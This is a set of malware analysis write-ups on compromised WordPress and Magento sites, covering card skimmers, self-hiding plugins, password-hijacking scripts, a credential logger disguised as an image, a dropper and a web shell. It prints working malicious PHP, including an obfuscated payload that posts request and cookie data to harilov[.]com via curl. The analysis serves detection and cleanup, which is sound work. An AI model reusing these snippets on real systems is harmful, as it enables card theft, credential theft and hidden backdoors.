Skimmer Plugin Hides Itself From wp-admin

Our analyst Moe O recently discovered an interesting Javascript injection that was stealing submitted payment data from visitors on a WordPress website with a Woocommerce storefront.

The Javascript was found to be loading from a malicious plugin named wpdefault, which had been installed by the attacker. This malicious plugin contained two separate files within its directory.

./wp-content/plugins/wpdefault/wpdefault.php
./wp-content/plugins/wpdefault/test.php

The wpdefault.php file contains the Javascript used to capture submitted payment details from visitors on the infected website. It’s a rather unusual file — it appears the attacker was trying to create a “swiss army knife” payment sniffer for different payment processors (e.g Stripe, Square, Authorize.net) that are available on ecommerce platforms.

Most of wpdefault.php contains code that is commented out and therefore not run, but these comments all include similar Javascript used to capture the payment details submitted when the victim clicks on Place Order or equivalent payment button.

Once captured, the stolen data is stored in the msg and params variables so that it can be exfiltrated to the attacker through a generated XMLHttpRequest. This request is sent to a website controlled by the attacker — and in this case, looks to be a compromised third-party website (neuro-programmer[.]de) rather than an outright malicious domain.

stolen data storage and generated XMLhttprequest

Since the malicious plugin has been installed within the WordPress installation, it has access to add_action which hooks a defined function to a WordPress action.

To highlight this behavior further, let’s examine the actions and functions below.

function secret_plugin_webcusp() {
    global $wp_list_table;
    $hidearr = array('wpdefault/wpdefault.php');
    $myplugins = $wp_list_table->items;
    foreach ($myplugins as $key => $val) {
        if (in_array($key,$hidearr)) {
        unset($wp_list_table->items[$key]);
        }
    }
}
add_action('pre_current_active_plugins', 'secret_plugin_webcusp');

The malware uses the pre_current_active_plugins action alongside the secret_plugin_webcusp function to prevent WordPress from showing the plugin’s name in the Active Plugins list, making it difficult for website owners to identify that the wpdefault plugin has been installed in their environment.

It then uses the pre_user_query action with the created function yoursite_pre_user_query to hide the malicious WordPress administrator wpuser55346 from view in the /wp-admin interface.

function yoursite_pre_user_query($user_search) {
  global $current_user;
  $username = $current_user->user_login;
    global $wpdb;
    $user_search->query_where = str_replace('WHERE 1=1',
      "WHERE 1=1 AND {$wpdb->users}.user_login != 'wpuser55346'",$user_search->query_where);
}
add_action('pre_user_query','yoursite_pre_user_query');

A final function — rgkirjeo — is hooked with the login_footer action, which uses Javascript to capture the user_login and user_pass data from login attempts made on the /wp-admin page.

rgkirjeo function hooked with login_footer to capture login and passwords

This malicious plugin was found to be exhibiting behavior similar to this injection we covered last year. It is also related to an investigation made in 2017 which found WordPress classes being used to hide malicious users.

Credit card skimmers can be hidden within compromised environments using a variety of techniques — and methods can extend way beyond hiding them in malicious plugins. Website owners should perform regular security scans of web assets to detect skimmers and other indicators of compromise.

Malicious WordPress User Hijacker

Our analyst Liam Smith recently found a malicious file with the name wp-atom2.php on a compromised WordPress site that had been infected with pharma spam. The spam content had been found injected into the _postmeta table within the WordPress database.

The malicious wp-atom2.php file loads wp-config.php using the require_once function, which contains the database’s host, username, and password information. The attacker can then use this MySQL connection information to authenticate with the MySQL database for the targeted WordPress website.

If the attacker simply loads the file in the browser, the output will just include an array of the data found within the _users table of the WordPress database:

$sql = $mysqli->query("SELECT * FROM {$table_prefix}users LIMIT 0, 10 ");
while($rows = $sql->fetch_assoc()) {
?>
    <pre>
<?php print_r($rows); ?>
    </pre>

This _users table output is extremely helpful to the attacker — it contains information that can be used to create a backdoor and maintain unauthorized access to the compromised environment.

Array WordPress User Hijacker

The ID value can be used to select the user that the attacker wants to change the password for. To change the password, the attacker just needs to submit a crafted GET request with the ID and pass or new parameter.

If pass is used, the attacker can provide their own MD5 hash value to be inserted into the user ID that is included in their HTTP GET request:

/wp-atom2.php?pass=21232f297a57a5a743894a0e4a801fc3&id=2
require_once('wp-config.php');
$mysqli = new mysqli(DB_HOST, DB_USER, DB_PASSWORD, DB_NAME);
if ( isset($_GET['pass']) ) {
    $id  = (isset($_GET['id']) ? (int) $_GET['id'] : 1);
    $pas = $_GET['pass'];
    if (isset($pas)) {
        $mysqli->query("UPDATE {$table_prefix}users SET user_pass = '{$pas}' WHERE ID = '{$id}'");
    }

If the attacker uses new, a password value doesn’t need to be provided at all. Instead, the script defaults to the password 12345 for the provided user ID. It then goes on to use the function wp_signon to authenticate the new password and generate a hyperlink to /wp-admin that the attacker can click on for direct access to the /wp-admin interface.

/wp-atom2.php?new&id=2
} elseif ( isset($_GET['new']) ) {
    $id  = (isset($_GET['id']) ? (int) $_GET['id'] : 1);
    $mysqli->query('UPDATE '.$table_prefix.'users SET user_pass = \'$P$BLIwZyiB0J2XvUAsNyKQI1hyEMox0A0\' WHERE ID = \''.$id.'\'');
    $creds = array();
    $sql = $mysqli->query("SELECT user_login FROM {$table_prefix}users WHERE ID = '{$id}' LIMIT 0, 1");
    $row = $sql->fetch_assoc();    $creds['user_login']     = $row['user_login'];
    $creds['user_password'] = '12345';
    $creds['remember']         = true;    
$user = wp_signon( $creds, false );    
if ( is_wp_error($user) ) {
       echo $user->get_error_message();
    } else { echo '<a href="/wp-admin/" target="_blank">Log into deep</a>'; }
}

The best way to mitigate risk and detect malicious activity is to leverage a website monitoring solution to identify indicators of compromise within your environment.

Magento Login Stealer in Fake bg_white.png Image

Our Remediation team analyst Ben Martin recently found a malicious injection in a compromised Magento 1.9.x installation that was stealing Magento user login credentials.

The injection was found in the core Magento file /app/code/core/Mage/Admin/Model/Session.php hiding alongside legitimate PHP code.

  $validate_session = fopen(getcwd()."/media/wysiwyg/bg_white.png", 'a+') or die("Error");
    $session_save2 =  "|Session_strat:".$_SERVER['HTTP_HOST']."Login:".$_SERVER['SERVER_NAME']."".$_SERVER['REQUEST_URI']."Username:".$username."Password:".$password."IP Log:".$_SERVER['REMOTE_ADDR'] . ";" . date("m-d-y=H-i-s") . "\n";
    fwrite($validate_session, $session_save2);
    fclose($validate_session);

The malware works by defining the $validate_session variable to use the fopen function to open the existing bg_white.png file within the /media/wysiwyg/ directory.

This directory is typically used to host various image files, so the existence of a generically named .png file is not unusual. That being said, the contents of the bg_white.png file do not contain any image data at all. Instead, the contents contain sensitive user information, including Magento usernames, passwords, visitor’s IP addresses, request timestamps, and website information.

This stolen data is gathered by the second variable $session_save2, which leverages superglobal variables and various PHP functions to gather a visitor’s login data before saving it to the file opened by variable $validate_session.

A distinct red flag that caught our attention is the size of the bg_white.png file — it can be enormous. One sample ended up being over 1.4MB in size. The fake image was using much more disk space than similar legitimate images in the same directory. The reason its large size was that it had been stealing Magento login credentials every time someone had logged into their account for over one year. This resulted in over 7,500 lines of stolen logins dating back to February 2019.

To obtain these stolen credentials, the attacker simply needs to send a request for the image file to the infected website. The image file will then be downloaded, complete with all of the stolen Magento logins. Bad actors can easily download the file automatically using a schedule tasker or cron job tool to grab the image with wget and conveniently store it at a defined location.

If you suspect that your Magento site has been compromised or login credentials are being stolen, we offer a free hacked Magento guide to assist you with clean up. Our remediation specialists are also available to lend a hand with malware removal.

Magento Credit Card Stealer: harilov[.]com

Our Remediation team lead Ben Martin recently discovered a single line obfuscated PHP injection in the main index.php file of a Magento 1.9.x website. It was being used to capture and exfiltrate payment card data from an infected website as soon as a victim submits their information.

ini_set('display_errors', 0); error_reporting(0); $hBcS = implode("_", array("str", implode("", array('ro','t13')))); $PXZum = $hBcS('onfr64_rapbqr'); $AiPVp=$hBcS('onfr64_qrpbqr'); $rKwfSV = $hBcS('frevnyvmr'); $PHCUqZ=$hBcS($AiPVp('Y2VydF96bmdwdQ==')); $kusahdjI = $AiPVp('c2hlbGxfZXhlYw==');  if ($PHCUqZ("/".$AiPVp('Y3ZjMnx1c2VybmFtZXxzaGlwcGluZ3xjYXJkX251bWJlcnxjY198ZHVtbXl8cGF5bWVudHx5ZWFyfHNlY3VyZXRyYWRpbmd8Zmlyc3RuYW1lfGV4cGlyeXxtb250aHxsb2dpbnxjY19udW1iZXJ8Y3Z2fGJpbGxpbmc=')."/i", $rKwfSV($_REQUEST))) $GwYqF=$kusahdjI(trim($AiPVp("Y3VybCAgLS1kYXRh")).' "'.trim($AiPVp("dmVyc2lvbj0xJmVuY29kZT0=")).$PXZum( $rKwfSV($_REQUEST) . "--" . $rKwfSV($_COOKIE))."&host=".$_SERVER["HTTP_HOST"]."\" ".trim($AiPVp('aHR0cDovL2hhcmlsb3YuY29tL3Rlc3RTZXJ2ZXIucGhw')).' '.trim($AiPVp("ID4gL2Rldi9udWxsIDI+JjEgJg==")));

After beautifying the initial injection, it becomes easier to read. The obfuscation is light and primarily uses rot13 and base64 encoding to obfuscate the actual PHP.

<?php
$hBcS = implode("_", array("str", implode("", array('ro','t13'))));
// $hBcS = str_rot13
$PXZum = $hBcS('onfr64_rapbqr');
// $PXZum = base64_encode
$AiPVp = $hBcS('onfr64_qrpbqr');
// $AiPVp = base64_decode
$rKwfSV = $hBcS('frevnyvmr');
// $rKwfSV = serialize
$PHCUqZ = $hBcS($AiPVp('Y2VydF96bmdwdQ=='));
// $PHCUqZ = preg_match
$kusahdjI = $AiPVp('c2hlbGxfZXhlYw==');
// $kusahdjI = shell_exec
?>

As seen above, I have included comments below the malicious lines of PHP to help clarify the decoded PHP functions. These functions are important since they are used to capture and exfiltrate the payment card data later in the code.

When decoded, the string Y2VydF96bmdwdQ== becomes the function preg_match, which is used to detect a variety of payment field details from HTTP requests data sent to the file.

Since the malicious code is being injected into Magento’s main index.php file, it is typically loaded whenever visitors make a request to the infected website’s checkout page. If one of the fields defined in the preg_match function are detected, then the PHP function shell_exec is used to initiate a curl request. This request sends the detected payment field data to the C2 host harilov[.]com/testServer[.]php through a crafted POST HTTP request.

To evade detection, the malware directs any possible output from the curl request to /dev/null. The PHP injection itself also contains error_reporting(0), which is used to silence any PHP errors occurring from the injected code.

if ($PHCUqZ("/" . $AiPVp('Y3ZjMnx1c2VybmFtZXxzaGlwcGluZ3xjYXJkX251bWJlcnxjY198ZHVtbXl8cGF5bWVudHx5ZWFyfHNlY3VyZXRyYWRpbmd8Zmlyc3RuYW1lfGV4cGlyeXxtb250aHxsb2dpbnxjY19udW1iZXJ8Y3Z2fGJpbGxpbmc=') . "/i", $rKwfSV($_REQUEST)))
//if preg_match('/cvc2|username|shipping|card_number|cc_|dummy|payment|year|securetrading|firstname|expiry|month|login|cc_number|cvv|billing/i', serialize($_REQUEST))
$GwYqF = $kusahdjI(trim($AiPVp("Y3VybCAgLS1kYXRh")) . ' "' . trim($AiPVp("dmVyc2lvbj0xJmVuY29kZT0=")) . $PXZum($rKwfSV($_REQUEST) . "--" . $rKwfSV($_COOKIE)) . "&host=" . $_SERVER["HTTP_HOST"] . "\" " . trim($AiPVp('aHR0cDovL2xvY2FsaG9zdC9jdXJsLnBocA==')));
//shell_exec(curl --data "version=1&encode=base64_encode(serialize($_REQUEST))--cookiestring&host=hxxp%3A%2F%2Fharilov[.]com%2FtestServer.php"  > /dev/null 2>&1 &)

The best way to mitigate this type of injection is to use website monitoring with server side scanning capabilities to detect changes within the entire website environment.

Email Scraper: Mass Mail Grabber from Database

One of our Remediation team analysts, Liam Smith, discovered a malicious file on a client’s compromised WordPress website that demonstrates how attackers can use rudimentary tools to extract specific data from available databases.

In this case, a malicious PHP file was targeting email addresses stored on a compromised webserver.

./mail.php

The input data requested by the malicious PHP script is used to connect to the SQL server/service and access any available SQL databases. The connection information for the compromised website can be gathered from existing configuration files, such as wp-config.php and configuration.php.

Mass Mail Grabber from Database

Once the attacker completes and submits the form on mail.php, the malicious PHP code handles the rest. It connects to any available SQL databases with the login information submitted and queries them.

Mailicious PHP Code

The scraper was not elegantly designed; it’s not efficient in the methods used to perform SQL queries. As a result, it struggles to stay within reasonable max_execution_time or memory_limit limits defined by the hosting server’s php.ini settings.

This inefficiency stems from the fact that it uses the SQL user login information submitted by the attacker on the mail.php form to retrieve a list of available databases, then lists the tables for each database, and finally displays the columns for each table of each database.

Once the data is collected, the final result is then queried. The PHP function preg_match is used to look for text containing the @ symbol in the text fields of the query results. Anything containing the @ symbol is then dumped into the file result-mail.txt, which generates a hyperlink for the attacker to click and download after the malicious tool has finished running.

PHP Dropper Concealed in Malicious WordPress Plugin

Moe Obaid - an analyst from our Remediation Team - recently found a PHP dropper that had been installed as a malicious WordPress plugin. Unlike other fake plugins we’ve recently written about, this plugin had been installed and activated in the administrator backend (wp-admin) to help evade detection.

Once installed and activated, the malicious plugin’s file ./wp-content/plugins/wpfilmngr/index.php is loaded and gains access to specific WordPress PHP functions like the add_action() hook.

PHP Dropper Functionality

This malicious PHP file uses the following PHP code to operate. Pay close attention to the custom function upload1Fsociety112233:


function upload1Fsociety112233(){
        function getDataFromURLWP112233($url)
        {
            $ch = curl_init();
            curl_setopt($ch, CURLOPT_URL, $url);
            curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
            curl_setopt($ch, CURLOPT_FRESH_CONNECT, true);
            curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
            $output = curl_exec($ch);
            curl_close($ch);
            if (!$output) {
                $output = file_get_contents($url);
                if (!$output) {
                    $handle = fopen($url, "r");
                    $output = stream_get_contents($handle);
                    fclose($handle);
                }
            }
            if (!$output) {
                return false;
            } else {
                return $output;
            }
        }

        function putDataFromURLWP112233($file, $dump)
        {
            $dump = '<?php /*' . md5(rand(0, 9999999999)) . md5(rand(0, 9999999999)) . ' */?>' . $dump;
            file_put_contents($file, $dump);
        }
        if(isset($_REQUEST["testingfsoc"])) {
            $url = $_REQUEST["url"];
            $fileName = $_REQUEST["filename"];
            $fullFileName = $_SERVER["DOCUMENT_ROOT"] . "/$fileName.php";
            $dataFromURL = getDataFromURLWP112233($url);
            if($dataFromURL){
                putDataFromURLWP112233($fullFileName,$dataFromURL);
            }
        }
}

The custom function upload1Fsociety112233 is actually compromised of two separate custom functions:

  • getDataFromURLWP112233
  • putDataFromURLWP112233

The getDataFromURLWP112233 function does exactly as the name implies. It requests data from a remote host using the PHP curl function. The remote host is provided by the attacker in their crafted HTTP request with the url parameter value. It then inserts the returned data output into a .php file, along with some PHP tags and the MD5 hash values named in the attacker’s HTTP request with the filename value.

The malicious code also contains functionality that conceals the fake plugin to prevent it from being displayed to logged in users in the wp-admin backend. This is accomplished by checking for specific user-agent’s in the visitor’s request.

<?php
function validateUserAgentWP112233(){
    function checkSecretUserAgent112233($user){
        if($user == $_SERVER['HTTP_USER_AGENT']){
            return true;
        }else{
            return false;
        }
    }
    function hookAdminPluginWP112233($plugin){
        $itemsForHooking = array($plugin);
        global $wp_list_table;
        $myData = $wp_list_table->items;
        foreach ($myData as $key => $val) {
            if (in_array($key, $itemsForHooking)) {
                unset($wp_list_table->items[$key]);
            }
        }
    }
    if(!checkSecretUserAgent112233('Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.59 Safari/537.36')){
        hookAdminPluginWP112233('wpfilmngr/index.php');
    }
}
?>

The custom function hookAdminPluginWP112233 is used to hide the plugin from view and only runs if the visitor’s user-agent does not match the defined string:

Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.59 Safari/537.36

When the malicious plugin is active, it does not show on the active plugin page if the visitor’s user-agent does not match.

The dashboard still shows the total active plugins accurately, but this is often missed by website owners. Most WordPress installations use multiple plugins — making it more difficult to “eyeball” the number of active plugins and detect any unwanted components.

If the user-agent does match the custom function hookAdminPluginWP112233, the malicious plugin will actively display.

Webshell in Fake Plugin /blnmrpb/ Directory

Our team recently discovered a web shell attempting to hide within a fake WordPress plugin directory wp-content/plugins/blnmrpb/. Inside this fake plugin directory were only two files: index.php and log.txt.

At first glance, the index.php file’s code appears to be very benign. The entire file contains only a single line of actual PHP code ⁠— the rest is simply comments and code tags.

Fake CMSmap WordPress Shell

CMSmap - WordPress Shell is only half right; the file has nothing to do with CMSmap but it is a shell. This single line of PHP uses the include() function to pull the malicious payload from log.txt.

On its own, the log.txt file is not parsed as PHP unless specific changes are made to the .htaccess file or HTTP configuration. When the log.txt file is loaded by include() then the malicious contents within log.txt can be loaded and parsed within the index.php file itself. This allows the index.php file to execute the malicious code from log.txt and allows index.php to look benign by itself.

encoded base64 PHP shell found in log.txt

The bulk of the PHP shell’s code found in log.txt is contained within a long string. Only a portion is shown in the image, however the string actually contains over 60,000 characters. It has been encoded with base64 and then compressed to reduce its overall size.

The log.txt file also conceals the PHP functions used to evaluate the string of text by using hexadecimal values instead of ASCII text:

273B6576616C28677A756E636F6D7072657373286261736536345F6465636F64652827
Hex => ASCII
';eval(gzuncompress(base64_decode('

After decoding the base64 and uncompressing the text string, it goes from ~60,000 characters to ~147,000 characters — and we are left with raw PHP code which used to load the GUI shell in the browser.

PHP shell loaded in browser for login

When the PHP shell file is loaded in the browser, it prompts the user for a password to access the shell’s functionality. This is a common method of access control for web shells in general.

In this case, the file name doesn’t need to be specified in the URL since it’s been aptly named index.php — the default index file for most HTTP server configurations.

This PHP web shell was written in Chinese, so I've used Google Chrome's translate feature to convert the text into English for easier navigation.

PHP webshell dashboard and features

It offers much of the same features that are prevalent in similar GUI PHP shells and offers a range of functionality when installed in a compromised environment:

  • PHP Code Execution: An attacker can execute PHP code through the shell itself.
  • MySQL Connection: Allows a bad actor to connect to a database to perform various functions like downloading a data dump or deleting content by dropping tables, etc.
  • Port Scanning: Scanning for open port within the server is less likely to be blocked, allowing attackers to pinpoint open ports within the network.
  • GUI File Manager: Facilitates file management similar to FTP or cPanel’s File Manager.
  • Server Information: This feature lists important information about the website’s server environment including type of operating system (e.g uname) and running services.
  • Reverse Shells: Attackers can use this feature to bind a shell to a port from the compromised website's server to a separate, externally controlled server.